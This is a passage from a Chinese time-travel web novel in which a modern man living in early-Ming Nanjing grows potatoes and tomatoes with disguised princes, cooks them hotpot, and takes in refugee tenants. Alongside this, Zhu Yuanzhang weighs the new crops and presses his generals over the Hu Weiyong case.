“说是这个理,但是这群流民不得吃饭啊,不得有地方住啊,那接收他们的地主,有得烦咯。” “呵呵,这些咱得相信咱朱皇帝会安排好的,天下都给他定下来了,这点事情,没问题的。” “也是,陛下从不让咱失望。” 两个吃面的老汉在那聊得不亦乐乎。 朱安宁也听到了昨日流民的后续。 不由得叹了口气。 老朱,不愧是老农。 老农对老农,算可以的了。 朱安宁笑了笑,又开始吃了面来。 对于这个未曾见过的明朝开国皇帝朱元璋,他又多了几分好感。 “老朱,起码算是个对百姓还过得去的皇帝。”他一边想着,一边吃完了那口面,然后拍着肚皮结账。 吃饱买完东西的朱安宁并没有马上就回房车营地。 而是又在城里转悠了起来。 这可苦了戚祥了。 清晨的应天府,人可不少。 快了怕被发现,慢了又怕跟丢。 七拐八拐之后,戚祥发现那朱安宁终于是停了下来。 “书肆……?”戚祥看了眼招牌,也是有点好奇这朱安宁跑这来干嘛,他要读书? 朱安宁的想法,戚祥肯定是猜不到的了。 “得好好练下繁体字,书法小时候学过,但是还是得重新练才行……另外还得多看看这个朝代的书,不能当文盲……”朱安宁拎着一堆东西,给自己定了新的购物清单。 结果那书肆里的掌柜哪见过这阵仗,拎着一堆肉菜米粮冲过来说要买一堆书籍笔墨纸砚什么之类的。 耗了老半天,才把东西给朱安宁整好。 买齐东西的朱安宁,也再也没有了逛应天府的心情。 因为东西太重了…… 是真的太重了,快要超过他的负荷了。 他不止一次停下来,想叫滴滴。 却又马上反应过来这是是明朝…… “我靠,我买那么多书干嘛……买了指不定又看不完,神经病啊!”在无人的巷子里嚎了两声,唯一的作用便是吓到了戚祥…… 痛苦地拎着一堆东西走几里地……这对现代人来说简直是惨绝人寰,堪比酷刑…… 而他身后的戚祥只觉得这年轻人实在是体虚得令人发指…… 几步路就在那飘…… 丢人…… 朱安宁哪知道自己已经被人套上了细狗的评价,他喘了个半死终于是回到了房车附近。 而不远处,那朱棣和朱橚早就已经就位,在那给田地除草,浇水。 至于建房那边,叮叮当当那是从未停过。 才第二天而已,朱安宁就看到了房子居然就有了点雏形。 他也只能感叹,这古代的开发商工程队这么良心这么迅速的么…… 缓了半天的他,终于挪回了房车里。 又花了半天才把东西给归置好。 看着又被填满的冰箱。 物资焦虑症也缓解了不少。 而笔墨纸砚一类的东西,被他摆到了桌面上。 至于书籍一类,随手就放到了过道边上。 他松了口气,开门下了车。 朱棣和朱橚看到了朱安宁向自己走来,也连忙直起了身子,打了个招呼。 特别是朱橚,他开心的样子真是溢于言表,比起去文华堂陪弟弟们听那些大儒讲经,他更喜欢来这乡野里耕种。 “朱哥早。”两人对朱安宁喊了声。 “你们也太早了吧……” “朱哥才是吧,一早就进城了?” “买些菜肉米粮啊,昨日本来就想买的,不是发生了点意外么?” 朱安宁笑了两声,自然是在说那李九江纵马,然后被两人架出城外的事情。 “昨日确实是那李三江的不对,我代他给朱哥道个歉。”朱棣连忙开口 “你们很熟啊?” “啊,打小就认识,算是我表侄罢。” “嚯,你们家还挺厉害啊,人丁兴旺啊。” “呵呵……算是吧。” 两人在那随口聊着天,而朱棣却突然转了个话题。 “对了朱哥,你昨日不是看到那灾民了么,今儿我听城里说,可能要分到咱这边开垦荒地啊。” 朱棣抛出了早就想好的话术……想要早点完成他老爹交给他的任务。 “来我这做佃农是吧?今天进城我也听说了,这没问题啊,地这么多,总是要人耕的嘛,就是不知道什么时候。” “据说过些时日,还有很多灾民会抵达这呢,看官府安排吧。” “嗯,那就到时再看呗。”只要不是现在就好,现在自己这地,还没建好房子围墙呢……番薯土豆的事,可不能再出意外了啊…… “对了,这半片地,还没播种啊!得种玉米!”朱安宁一拍脑袋,又接了句。 第四十九章 番茄锅和麻辣烫 这几日,朱安宁开始有条不紊地开始严格按照书本内容,种下了玉米,顺带着催出了番茄的苗,移到了地里。 朱棣任劳任怨,锄头挥舞得相当熟练。 朱橚则不时会和朱安宁探讨那些作物的事情,拔草浇水也是做得相当细致极。 地不过是亩多有余,所以他们的工作说不上艰辛。 切块分好的土豆和番薯,早就种了下去。 终于有一天发了芽。 虽然还是有部分烂在了地里,但是大部分都发了芽。 这让朱安宁差点哭出来。 要说没有压力是假的,他可是现在古中国种番薯土豆的第一人,,万一祸祸了这批土豆番薯,给他安个民族罪人的名号都不为过。 而现在这发芽,意味着,只要这亩地能有顺利产出,接着推广下去,饥荒应该能得到极大的缓解。 松了口气的朱安宁,看了下眼前晒黑了一圈的两个小伙子,决定犒劳下他们。 去掉了番茄籽的番茄肉还在冰箱里。 新鲜是不新鲜了,但是熬个番茄火锅底,还是可以的啊,加点科技番茄酱就好。 这几天两人午饭一向都是在他这吃的,忙的时候就煮点挂面。 不忙他就给这两个小伙子炒个菜。 而今天,再忙也得贺一贺,火锅搞起!!! 朱橚和朱棣都看出了,今儿的朱哥,是真的高兴。 两人心领神会地围了上去。 “朱哥!今儿要做什么?”朱棣笑嘻嘻的开了口。 “今儿咱们就做个番茄锅!!!”朱安宁也没有隐瞒,毕竟番茄籽都是他们帮忙种下去的。 “番茄?就是几日前朱哥种下去的那小小的籽么?那东西能好吃?”朱橚也是有点好奇。 这话却让朱棣皱起了眉头,他一巴掌就拍到了朱橚的背上。 “啧,你朱哥做的吃食,有不好吃的么?” “也是,哈哈。” 几人聊着天,没几步就回到了房车附近。 而远处的宅子已经初具规模。 “这蒯工手艺真好啊,建得真快……”是朱安宁在感叹。 “宅子不大,自然就快,如果是皇城里那些宫殿,那可就久了……”朱橚撇了撇嘴,说的自然是那些偏殿。 “你怎么知道?” “啊……哎,进城溜达,街头巷尾可多八卦听了。”朱橚连忙找补了两句,总不能说是自己看见的吧…… “这倒是……前几日我进城,听说那胡惟庸都被抓了,说是谋逆……”朱安宁说起了前几日的事情,也是叹了口气。 无论谁是谁非。 胡惟庸案,前后可是几万条人命啊。 恐怕,现在只是这大案的开端罢了。 “朱哥你也听说了?那胡惟庸嚣张跋扈,死有余辜啊。” 朱棣坐在遮阳篷下面,一副巴不得胡惟庸马上死的样子。 反正父皇和大哥觉得他该死,那他就死呗。 朱棣的想法相当简单。 朱安宁却又叹了口气。 “若是只死他一人那便好了,恐怕,上面那位不会让这件事情那么简单结束的啊。” “啊?怎么说?”听着朱安宁开始键政,朱棣一下就来了精神。 “大半个朝堂都和胡惟庸有关系,哪些关系深,哪些关系没那么深……呵呵,这里面门道可多咯。”朱安宁轻笑了几声。 这胡惟庸案在现代也是有各种说法,但是无论是哪种,最终结果的导向都是朱元璋彻底解决了相权和皇权的争端,让封建皇权进一步集中。 朱棣和朱橚都不是什么白痴皇子,他两一下就听懂了朱安宁的意思。 “接下来,要死不少人咯。”朱安宁感叹了句。 然后转身开始点起炉子,准备做饭。 冰箱里的番茄早就拿了出来,配料备好就是全部丢进去熬。 然后兑水加盐,就变成了最简单的番茄锅。 朱安宁切好了肉片,也准备好了蔬菜和蘸料。 本来还在那聊天的两兄弟,一起凑了上来。 他们看着那红彤彤的锅,一同吸了吸鼻子。 “啊?没有辣味啊?朱哥,这番茄红彤彤的应该和昨日你给我们做的麻辣烫一样才对啊,怎么今儿这闻着一点辣味都没有啊?” 朱棣盯着那番茄锅,有些懵的样子。 “倒不如说有点甜味啊……不对,好像又有些酸……” “哈哈,小周闻的味道是对的,着番茄啊,就是酸酸甜甜的,极其开胃!” 朱安宁哈哈笑着,把那涮熟的肉片舀到了两人的碗里,然后又加了些汤汁。 “来,你们喝,试一试。” “哎,朱哥,我还是更喜欢之前的麻辣烫,爽极了!”朱棣撇了撇嘴,心里想念的是爽辣的辣椒。 “哎,小小年纪,那玩意吃多了,这里可没有华西医院……”朱安宁也是有些无语,只觉得着朱棣真是能吃辣。 昨日那锅麻辣烫的汤汁,这家伙居然就着米饭吃了下去,真是骇人…… 当然,这吐槽只能是小声说,毕竟他也不想解释什么是华西医院…… 那朱橚却又没有管他四哥抱怨的样子,他吹了吹汤汁,然细细地抿了一口。 然后是眉飞色舞,笑了起来。 “朱哥!!!好喝,酸不似那醋那般烈,很是醇厚,甜,也就是微微回口的甜。真是别有一番风味!!!” 朱橚竖起了大拇指,然后又吃了口那肉片,只觉得真是香嫩无比,同时那汤汁又酸爽解腻。 朱棣见朱橚那磕了药似得模样,也不由得动了心:“夸张……能比昨天的麻辣烫好吃?” 他豪爽地猛喝一大口。 然后面色突变。 “烫!!!” 他吐了吐舌头,一副痛苦的表情,却又在其后便成享受的模样:“哇……哇真的好吃……呼,烫死我了。” 就这样,他痛苦且快乐地把汤汁吞了下去。 朱安宁和朱橚看着他那样,觉得有些好笑。 却也让朱棣有些恼羞成怒起来。 “哎,好吃是好吃,但是就是不如麻辣烫!那汤汁才是热辣滚烫!” “好好好,你不吃拉倒,我吃,都给我。”朱橚却呵呵一笑,猛地舀了一勺,全堆到了自己碗里。 “五弟你!”朱棣眉头一挑,想发火却又不知道该如何言语。 第五十章 新庄 朱安宁看着在那闹腾的两兄弟,也是笑了起来。 这不管是现代还是古代,兄弟间的打闹都是那么有烟火气。 看着一时憋着说不出话的朱棣,朱安宁连忙打了个圆场。 “哎,哥舀给你,这番茄锅啊,泡饭吃可是极好的,不要只吃肉喝汤,小燕你试试吧。”他一边说着,一边给朱棣舀了点。 朱棣也不是傻子,连忙顺坡下驴。 “诶,好的,谢谢朱哥。”接着,美滋滋地吃了起来:“朱哥!真好吃!比起麻辣烫,这猪肉味道更是鲜香啊!喝到肚子里也是暖洋洋的!” “刚才还不是说麻辣烫更好吃的么?” 朱橚这时还不忘嘲讽。 而朱棣吃得正爽,也没有管朱橚这作死的行为,他已然被番茄锅征服。 ”朱哥,这番茄我们得种出来!太好吃了!真的太好吃了!” “哈哈,其实这番茄锅就是其中一种做法而已,明日我把剩下的给你们做最经典吃法,番茄炒蛋,那个才是人间美味!” “比这番茄锅还好吃?” “那当然!哈哈。” “啊,好希望明日快点到啊。五弟!你别舀这么快!给我留点!” “哎四哥,你不是不爱吃么……” 两兄弟拌嘴,朱安宁吃饭。 就这样,三人的午饭继续了下去。 锅不大,肉菜拌米饭,不消一会便吃得一干二净。 正当他们准备休息的时候。 戚祥出现在了他们的视线中。 他穿着一袭布衣,并未佩刀,像个平常老百姓般,就这般走了过来。 这下差点把朱棣的碗都吓掉。 这戚祥干嘛啊…… 朱橚反应要慢些,毕竟他并不知道戚祥一直守在他们旁边。 他只是觉得莫名其妙。 这戚祥不是父皇的亲卫么,怎么跑来这里了,还穿着百姓的衣服…… 而戚祥也是忐忑得很。 他昨日就接到了朱标的密令。 让他去接触朱安宁,身份是朱安宁所在土地的里长…… 砍人,打仗,盯梢他在行。 里长……里长是干嘛的啊,那不是农夫们的老大么…… 哎,怎么混了大半辈子,摊上了个这样的苦差事啊。 不满,是有点不满的,只是,说出来,是万万不敢的,毕竟家里几个人,就有几颗脑袋,也就是朱元璋几刀而已。 于是,无奈的戚祥,就这样走进了这废弃土路里。 虽然之前守在这边已经有些时日。 但他并未进来过。 而现在进来才发现,这地方,怎么有个奇怪的房舍啊…… 以及,那群每日天未亮就会跑过来的工匠们,原来是建宅子啊。 只见那宅子围着那奇怪的白色房舍,已经建了个大概,高高的围墙更是已经筑好了三面,就差围到这边来了……而且,这围墙也太高了吧…… 戚祥还未来得及感叹,便看到了那小哥和燕王,周王。 他连忙收敛了目光。 走到了三人面前。 抱了抱拳。 “敢问这耕地的主人是?” 朱安宁看着戚祥,也是有些疑惑,这么多天了,这地界出现的人来来去去就这几个,要不是自己看过灾民,也进过城,他还以为自己来的是楚门的世界,而不是明初的世界。 现在终于看到了不一样的人,那是相当意外的。 他也学着对方的样子抱了个拳:“是我。呃,是有何事呢?” “隔壁小田庄的里长上报说,这边有未开垦的荒地,最近咱这不是要安置一批受灾的百姓么,官家那边就指派了我过来做这片田地的里长……” 这番话,让朱安宁恍然大悟起来。 结合前些日子城里听到的消息,和朱棣那边的说法,这人,应该就是和自己交接灾民的人咯。 “啊,在下姓朱,朱安宁,这地是我最近购置的,确实还未开垦。” “啊,方才也忘记介绍了,鄙人姓戚,戚祥,如果朱爷这边的地未开垦的话……” 戚祥顿了顿,自然是希望朱安宁接话。 “前些日子也听城里的人说了,这旱灾蝗灾接连不断的……真是苦了那边的百姓了啊……我这地还未招佃农,如果他们不嫌弃的话,尽管我来,我这边可以接受。” “哎,朱爷大义,那我就安排下去咯。这片地未来会划成一座新的庄子,那朱爷就是这新庄的大地主啦。哈哈哈哈。” “那戚爷就是咱庄子的里长啦,以后得好好相处咯。嘿嘿嘿嘿。” “要的要的。” “应该应该。” 两人的对话迅速而又高效。 却也让两人都有些懵逼。 这小哥,怎么和那朝堂里的官老爷感觉有点像啊。 这里长……怎么一副很社畜的样子啊。 ”那,我过几日就带那批灾民过来咯,灾民太多,官家这边也就最多给他们建些草房,给上几个月的基本口粮。您看他们的房子建到哪里好呢?是要离您近些还是……” “啊,远些吧,那边。”朱安宁指了指,那是河对岸的大荒地。 “好嘞,那我就安排下去咯,朱爷回见。” “回见。” 两人抱拳,然后那戚祥转身就快速离开了营地。 只留下朱安宁朱棣朱橚三人。 “咱这皇上还可以啊,给建房子和口粮……”朱安宁看着远去的戚祥说道。 “其实也就是草房和最最最基本的口粮而已……天下初定,哪来那么多钱银,前线那边粮草又一直吃紧。”朱橚顿了顿,叹了口气。 “能给基本的已经算好了,小周,别忘了,十几年前,这片大地,命,那和草一样贱啊。”朱安宁却也没有觉得朝廷做得不够,相反,他觉得朝堂已经做的很好了。 没有像元朝时那样,把人分成369等,没有每家每户抽银子抽到人自尽,还能给口吃的,给地方住,这,已然是相当不错了啊。 “哎,时间刚刚好,咱们这房子也建的差不多了,围墙一围起来,能把那田挡住,别让闲人看到咱们种的东西就好。”朱安宁笑着,继续说道。 本来他就想招佃农。 现在官家直接指派了。 好像也没什么不好。 要是自己能发挥下专场,带领这新庄子的灾民们,过上好日子,那就是好上加好了啊。 第五十一章 买粮 朱安宁看着远处百亩余地,有些感慨。 这些就是生产资料。 而自己,居然成为了生产资料的掌握者。 有点莫名其妙。 “小燕,小周,你们那边有渠道帮我置换些粮食么?”他转身对身后的朱棣和朱橚开口问道。 两人被问得有些莫名其妙。 “朱哥,有是有,朱哥你想干嘛?”朱棣回了话。 只见朱安宁摸了摸口袋,掏出了银子。 “佃农有多少忘记问了,你们就尽量帮我换多些米面回来吧,哎呀,菜肉有点麻烦,这个到时我来弄吧,你们帮我换米面就好。” “朱哥你……”朱棣和朱橚都听出了朱安宁话里的意思,不由得惊叫了起来。 ———————————— 朱安宁同意朝廷分配佃农给他的消息,很快就传回了宫里。 接着,便是燕王和周王也回了宫。 他们很马上就被召见到了文华殿里。 朱棣和朱橚,刚跨进殿里,心就不由得提了起来。 无他。 殿内的人都太过重要。 “父皇……大哥,见过信国公,魏国公,韩国公,诚意伯。” 两人慌忙行礼。 要说其他人他们并不意外,最近常看他们和自己老爹大哥在那商量东西。 但是信国公汤和,魏国公徐达居然都回来了!!!他们不是在外地么?!难道是胡惟庸的事情?不对,胡惟庸的事情不应该召见自己两人,和自己两人有关系的是……朱安宁! 他们惊讶的表情被朱元璋收在眼底。 “老四老五,叫你们来应该知道是要干嘛吧。” “父皇……新粮的事?”朱棣相对比较抗压,那朱橚已经悄悄退了半步,有些胆怯,所以是朱棣他回答了老朱的问题。 只见朱元璋满意地点了点头:“即是新粮的事情,也是让你们再说说对朱安宁的看法。” 老朱话闭,场中的人都看向了朱棣和朱橚。 当然,大家更多地是看向了朱棣。 朝中都知道,四皇子燕王,是诸皇子中,表现最好的那个。 当然了,朱标不算是皇子,他是副皇帝,直接继承皇位老朱都不会有什么二话的那种。 听完朱元璋的话,朱棣愣了愣。 朱安宁的看法? 前些日子老爹不是才问过么,朱棣满脸问号,只是他也知道这种场合绝对不能随便表露情绪。 “禀父皇,新粮已经种下,我和五弟与那朱安宁一同种下的作物有番薯,土豆,玉米,番茄,辣椒。其中最为重要的自然是番薯和土豆,前者按朱安宁所说至少亩产10石,后者约为7石,而玉米也是主粮类的作物,按他的说法大约也就是4-5石,虽然不比番薯和土豆,但是胜在好种,也是值得推广的,番茄和辣椒则价值较小……但是……但是相当好吃。” 朱棣开始汇报。 老朱本还听得津津有味,他就是想让他那两个兄弟知道自己最近整了什么大活,结果听着就不是滋味了。 玉米?番茄? 什么情况?朱安宁那小子还瞒着自己有新玩意? 不过听起来那玉米产量也就过得去……比现在的主粮是要高的,但是比不上番薯和土豆啊,就是番茄这东西是什么?确实有点好奇了…… “咳咳,听着了么?咱派老四老五都去盯着了,这新粮,已经种下去了!” 他是说给徐达,汤和听的。 毕竟朱标和刘伯温,李善长都已经知道情况了。 只见那徐达最为激动。 他猛地拍了下桌子站了起来:“他奶奶的,大哥,你莫要诳我,10石???我没打过这么富裕的仗啊!” 汤和本来还在那装平和,结果被徐达拍桌子吓得心跳都漏了几拍。 不由得也是有点恼火:“三哥……上位说10石就是10石,你拍桌子作甚,你还信不过大哥?!” “不是,10石啊?!10石啊!韩国公,诚意伯,你们应该知道这意味着什么吧!” 被徐达叫到的刘伯温和李善长都有些尴尬。 他们肯定知道意味着什么啊,不然几个人聚在这里过家家聚餐啊。 只是朱元璋都没说肯定有,他们那敢说意见。 “行了行了,三弟,坐下坐下,在那叫个什么劲……现在不就是让老四老五过来说情况嘛……” 只见朱元璋一脸无语,示意朱棣赶紧说下去。 省的徐达又在哪发癫。 “具体收成暂时还未确定,但是据我观察,朱安宁不似说假话的人……他甚至都不知道我们的身份,也没必要说假话。” “确实是如此。”朱橚也适时地补了句话。 朱元璋却也看出了点端倪。 “哦?看来你们两都挺喜欢他的啊。” 老朱瞥了瞥两人,调笑道。 “朱哥……啊,朱安宁他既有学识,又有仁心,才情俱佳,实在是不可多得的人才啊。”朱棣被他老爹看得有些紧张,不免有些嘴瓢。 而朱标听见朱棣说的朱哥,也是有点好笑,这朱安宁是朱哥,那我朱标是什么哥? “对了,他接受那批灾民了?” “回父皇,他直接就答应了。” “嗯,我和诚意伯之前就觉得这小子不错,他是有大善的人。” 朱元璋和刘伯温对视了一眼,那刘伯温也点了点头。 他两对朱安宁的印象,那是相当好的。 而让朱元璋没想到的是,朱棣和朱橚居然欲言又止了起来。 殿里的气氛一下就陷入了古怪之中。 “怎么了,你俩,一副古怪的表情……” 是朱标在发问。 “回大哥……是朱……呃,是朱安宁,他给了我们很多银子。” 这话说得有些不明不白,不免让殿内的众人都皱起了眉头。 “给你们银子干嘛,说清楚!” 朱元璋说道。 朱棣见朱元璋都开口了,便也连忙回答道:“他给了银子给我和五弟,说要买些米面……” “买米面有什么问题。” “他说尽量囤些米面,待灾民来到这边,仅靠官家的粮食,最多就是吃个半饱……他这边有多余的银子,他想换成米面给灾民们吃。” 朱棣,掏出了那些银两。 而朱元璋知道,那是,他给朱安宁的。 第五十二章 地主 众人都凑了过去,看向了朱棣手中的银两。 而后,一众人,脸色各异。 那银两对场中的诸人来说,确实不算多。 甚至,还有些寒碜。 “不是,燕王,这银两也不算多啊……”还是徐达先开了口:“就这么点,他也好意思拿出来?” 汤和虽然没有说话,但是也是这般意思。 更不用说家中富贵,还能娶16岁娇妻的李善长了。 几人都觉得,这几十两算个屁。 而只有朱元璋和刘伯温知道,这大概已经是朱安宁的全部家产的一半了吧。 “好啊,老三,出息了啊,当年放牛的时候,一个铜板都拿不出来的你,现在看到几十两都不觉得多了是吧。” 朱元璋轻声哼道。 看见自己大哥的脸色,徐达当即就急了起来。 “不是,大哥……虽然我不知道他是谁,但是能和燕王周王结交,也不是什么穷苦人士吧。” “也就是个行商而已。”朱元璋已经开始省略他的西域身份了,无他,太不可信了,只是无论自己怎么调查也得不出个所以然来……索性就暂且承认他行商的身份吧。 朱元璋顿了顿,继续说了下去:“他可不像你们这批公侯那么富裕,这些银子,可能已经是他大半的家产了,说拿出来给灾民就拿出来了,你们谁能捐自己一半家产出来给近几年那些受灾的农民?” 这讥讽中带了些愤怒。他也不知道朱安宁的家产有多少,但是想到这年轻人置换银钱时的样子,也知道肯定不是什么家财万贯的人。 此时的老朱已经站在了朱安宁那边。 徐达等人看着朱元璋有些发怒,哪还敢回话。 此时还是得靠最能察言观色的汤和来圆,只见他顺着话题说了下去,却也微微带偏到了其他方向。 “什么?这是他大半的家产?大哥你不是说他又献策,又献书,完了还能提供新的作物么,您没有给他赏赐?” “没有,没法给。” “为什么?!” 不仅是徐达,练汤和都露出了不可思议的神色。 两人是收到朱元璋的书信,才急赶慢赶地回到这应天府的。 “大哥,你莫不是在说书吧。你想给赏赐,他还能拒绝?” 徐达一个箭步到了朱元璋面前。 “呵呵,书哪有这么精彩。”刘伯温见那徐达急了起来,连忙劝阻了一番:“信国公,魏国公,那年轻人,确实是我和陛下一同意外识得的,真是宛如天上降人才啊。所以他暂时也是不知道咱们的身份,只当我与陛下是那田边的老叟而已,所以陛下才说无法赏赐。” “呵,人才是人才,可惜却不愿入仕。” 朱元璋想起了一些不爽的事情,补了句。 他是真心看好朱安宁。 后世皆说朱元璋后半生生性多疑,这确实没错。 但是不可否认的是,他的队伍里,一大半都是边打边收服的,真要是谁都疑个半天的话,他也不用打江山了,直接早点下辈子继续开局一个碗就好啦。 而现在老朱的孙子,老婆,好大儿,可都还在呢。 所以此刻的老朱,还是相对正常的。 他可以不管朱安宁的来历,但是朱安宁这一副就是不想当官的样子,可是让他有些难受的。 “大哥,这是怎么回事。” 汤和相对徐达要细腻些,他看出了自己大哥的不爽,连忙问了句。 “哼,老四你说吧,你也是和他提过做官这件事的。” ”回父皇,信国公,那朱安宁确实是没什么想法,他只愿当个平常地主。” “这地主有什么好当的……”徐达又开了口。 “咱也不知道,他想当,咱就让他当,咱吧一些灾民都给他指派过去了,咱就看他这地主能当成什么样……说起来,这银两他给得不心痛?这可是他大半的财产了吧。” 此刻的老朱和刘伯温,只觉得这朱安宁简直就是圣人在世。 其余人听完朱元璋的解释,也自然觉得,这朱安宁真是个大善人。 而朱棣和朱橚,却突然笑了起来。 那是忍俊不禁的笑容。 这下反倒是让朱元璋等人有点懵逼了。 气氛都到这了? 你们居然在笑? 什么意思嘛? ”你们笑什么?”只见老朱有些不快地问道。 朱棣和朱橚本来还在那笑着,却也被朱元璋的冷脸吓到。 连忙收敛起了笑容。 “禀父皇……他……朱安宁他非常不舍得这些钱银,给了我两次,又要了回去,最后扣了部分下来,最后才给的我……” 朱棣连忙如实禀报当时的情况。 朱橚也是连忙附和了句:“对对对,朱安宁他其实非常不舍,并不是诸位想的那么洒脱。” 两人话闭。 殿内又陷入了沉默之中。 古往今来,英雄豪杰多气概。 这是常识。 他们也理所当然地觉得,有才情,又神秘的朱安宁也应当如此。 结果,没想到朱安宁表现得这么像个【常人】。 不知过了多久。 是刘伯温先笑了起来。 “哈哈哈哈。” 而后,是朱元璋也大笑了起来。 “好好好,好一个朱安宁,真像个人。” “呃,父皇您是夸他?” 朱棣有些不解。 而朱元璋并没有回话。 是朱标开了口:“四弟,那自然是夸他,这世间,有能力的妖魔鬼怪常见,而有能力的人,那是不多见了。” “人,有喜有怒,有悲有嗔。只有非人,才会完美无缺。” 朱元璋,补了句。 顺便,扫视了一圈,殿内的众人。 ———————————————— 朱安宁现在很后悔。 因为他差点变成明朝的无产阶级……也不对,他还有地。 但是他刚才差点一时冲动,把钱全都给了出去。 幸好在最后,又拾回了点理智,要回了部分钱银。 于是,郁闷的人儿,在车内,开始练字,练繁体字。 四周堆满了他写的毛笔字。 繁体不过是繁复些,小学时练过些时日的毛笔,支撑他到了现在。 结果就是,没有说很好看,但是,起码能看。 这,大概应该就够了吧。 反之又不用去考科举。 况且洪武十二年,也没有科举给他考撒…… 第五十三章 淮西勋贵 皇宫里,李善长和刘伯温都已经离去。 朱标也去处理事务。 殿内只留下了朱元璋,徐达和汤和三人。 把自己两人留下来,肯定是有事情要聊的。 徐达也没有等朱元璋先开口,而是上前了一步。 “大哥,你给我交个底,你说的新粮,有几成把握!” 汤和虽然没有发问,但是也是和徐达一般,将目光投向了朱元璋。 “原来也就五成,今儿那是八成了。” 朱元璋哈哈笑了起来。 一个打死都不愿做官的人,看到灾民,就献书献策,安排灾民还能掏出自己的家里去购买物资。 虽然听老四老五说有点不舍的样子。 但是就这样的人,才值得信任! 况且他做的吃食还好吃!老朱又开始想念前些日子吃到的饭菜了。 “这么高?”汤和有些咋舌,他是知道老朱性格的,能说出八成把握,那是真相信朱安宁了。 “我信那朱安宁这个人,现在就希望他不要让我失望了。”老朱踱着步,轻笑道。 “大哥,这被你一说,我都有些好奇了,反正咱和汤和现在都回京了,能否带我们去看他一看?也看看这所谓的亩产十石的作物,究竟长的是有多不一样。倘若真的能有此神物,我们岂不是可以敞开来练兵?” “确实,如今北边又有些异动,咱们的粮食收成一直是个问题……这些年旱灾蝗灾,哎……”汤和叹了口气,其实他和徐达是最愿意相信新粮产量高的,对他们来说那是越高越好。 “去看他也无妨,只是这事啊,等些时日再说。”朱元璋走到了桌前的位置边上,背身说道:“咱还有些事情要处理。” “大哥,有什么事情比新粮还急?”徐达又着急地开了口。 而汤和,却感受到了点不一样的气氛。 不对劲…… 只见朱元璋敲了敲那桌面,咚咚咚的声音并不大。 他没有回答徐达的问题。 殿内的气氛陡然变得沉重了起来。 “你两回应天,就没听到些什么事?”朱元璋似笑非笑地问道。 徐达和汤和,虽然看不到朱元璋的表情,但是也猛地毛骨悚然了起来。 是胡惟庸的事情。 这胡惟庸在狱中,不出意外是死定的了。 那其他人呢?会不会有更多的人呢? 朝中现在可是人心惶惶。 就算是徐达和汤和,都有点发憷。 “应该听着了才对啊,这事可不小啊,胡惟庸,谋反,已经被咱抓了。” 依旧是似笑非笑的语气。 而徐汤两人,已经由发憷,变成了冒冷汗。 这老朱是要借题发挥了? 只见朱元璋一下转过了身来,呵呵笑了两声:“哎呀,你看你们,怎么都流汗了,这天气热么?咱今儿就是想问问你们,这胡惟庸啊,跟谁走得比较近。” 笑声不渗人。 言语最是迫人。 “大哥,那胡惟庸和咱虽是同乡,但是咱是最鄙视他的……大哥你是知道的啊。”徐达激动地喊了起来,要是说胡惟庸的事情牵连到他,那他可是最冤的,毕竟他和胡惟庸不和,朱元璋是知道的。 汤和,则在一边默不作声。 “知道知道,你和他不和嘛,但是咱又不是说你们和胡惟庸的关系。咱今天就是想问问你们,咱们那些个老兄弟啊,是不是和有几个和那胡惟庸,走得有点太近了啊。” 朱元璋看了眼那急的额头冒汗的徐达,又瞄了下那不言语的汤和,一个转身,坐到了自己的龙椅上,默默地等着两人的回答。 过了半晌。 汤和长长地叹了口气。 知道这事情是躲不过的了。 他拉着徐达,伏在了地上。 汤和是看出来了,朱元璋多少是有些不满他们这群淮西勋贵的。 胡惟庸早些年为了拉拢他们,可是无所不用其极,自己和徐达还好,脑子还在,和他保持了一定的距离。 但是那些个老兄弟可就没有那么清醒了。 打天下他们在行,要说治理天下,靠着群武夫,那就是纯搞笑了。 有不少人,早就开始了声色犬马的生活,甚至还出现了欺压平民,视法规于无物的情况。 而胡惟庸,就是他们的保护伞,正是胡惟庸有意的包庇,这些个肆意妄为的老兄弟,才能活得这么滋润。 胡惟庸,就是这般,拉拢到了人心,成为了淮西勋贵里的重要一员。 现在趁着胡惟庸案发,自己大哥是要搞事情了啊…… 看着咄咄逼人的老朱,汤和又叹了口气。 他知道,必须要说些东西了,这是老朱在逼迫他们给个态度。 “臣,以为韩国公李善长,举人不淑,陆仲亨、唐胜宗、费聚、赵雄等人,行事多嚣张!应罚!” 汤和一口气列出了一堆老兄弟的名字,甚至连李善长都没有放过。 徐达虽然性格急躁了点,但是智商还是在线的。 汤和列举的罪名实在是轻,举人不淑,行事嚣张,这种事情可大可小。 他看了一眼汤和,也知道自己这四弟说是在检举,不如说是在救人。 “好一个举人不淑,行事嚣张,他们那点破事,都不用咱收集证据,明日上朝,你两递个折子便是。” 老朱突然收敛了笑容。 端正地坐在那龙椅上。 徐达和汤和,在很久之前就懂得一个道理。 老朱,可以偶尔是他们的大哥。 但是更多的时候,他是皇帝。 哎,可惜了,有些老兄弟不懂。 只希望明日,能罚轻些吧。 朱元璋看着伏在那的徐达和汤和。 满意地点了点头。 其实,他最开始并没想要扩大这胡狱的范围,诛了胡惟庸九族就算了。 但是,内阁制这种新策的实施,是需要恩威并施的。 恩,可以迟些给。 威,则越快越好。 那些个老兄弟们也是越来越行事不着调了。 看来是自己给他们封的爵位,给的官位太高了。 刚好,借着胡惟庸的事,给他们一点教训罢,如果再不收敛……那就休怪自己不客气了。 “三弟,四弟,咱就是和你们聊聊,怎么就这么局促了呢,来来来,起来,咱前些日子得了瓶好酒,今晚你两就在宫里和咱吃个饭吧。” 朱元璋,大笑了起来。 第五十四章 这个洪武有点点不一样 汤和和徐达,听着老朱的笑声,那是只能在心里苦笑。 什么时候你是大哥,什么时候你是皇帝,能不能说个清楚先…… 不过宫里吃饭这种事情,他们两是熟门熟路的了。 反正明日的事情已成定局……多想无益。 他两就这样半推半就地被朱元璋搀了起来。 老朱一声令下,饭菜很快就送了进来。 而后,他摸出了一瓶两人从未见过的酒,或者说这酒瓶都看着就稀罕。 而酒瓶旁边,还摆着着个琉璃似的小杯子。 “大哥,这琉璃好是透明啊。” “再稀罕也就是个杯子,来来来,咱给你们试试这酒!”朱元璋学着之前朱安宁的样子,拧开了瓶盖。 酒香瞬间就蔓延了开来。 徐达和汤和可不是什么戒酒人士,相反,这两人对酒那可是相当喜欢的。 “这酒!!!” “香!!!” 茅台酒散发着浓郁而迷人的香气,醇厚而独特。 让两人很是上头。 朱元璋也是没管他们在那鬼叫,拿起酒瓶就给他们倒了三小杯。 “来,喝!!!咱们三兄弟也是许久没一起喝过酒了。” 随着朱元璋举杯,徐达和汤和也拿起了酒。 三人同时喝入了口中。 酒液在舌尖温热的触感下逐渐展开,仿佛一股温柔的波澜在口腔中荡漾,如丝缕春风般的温和。 